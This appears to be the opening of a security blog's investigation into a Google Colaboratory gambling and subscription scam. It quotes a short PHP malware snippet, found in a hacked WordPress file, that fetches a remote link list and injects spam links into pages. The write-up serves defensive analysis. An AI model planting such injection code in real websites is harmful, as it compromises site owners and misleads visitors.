Massive Google Colaboratory Abuse: Gambling and Subscription Scam

This investigation started with a small and quite simple piece of PHP malware found on a hacked website.

We located the following PHP code, responsible for injecting spammy links, within a wp-includes.php file.


$lines = file(‘https://4ip[.]su/db/links.txt’); 


$data = array_rand($lines, 900); 

echo ‘<p>’;

foreach($data as $value) {

$rand = substr(md5(microtime()),rand(0,26),6);

echo ‘<a href=”‘.$lines[$value].'”>’.$rand.'</a> ‘;


echo ‘</p>’;


This script fetches a list of links from a remote location (hxxps://4ip[.]su/db/links.txt) and then injects some of them into a web page.

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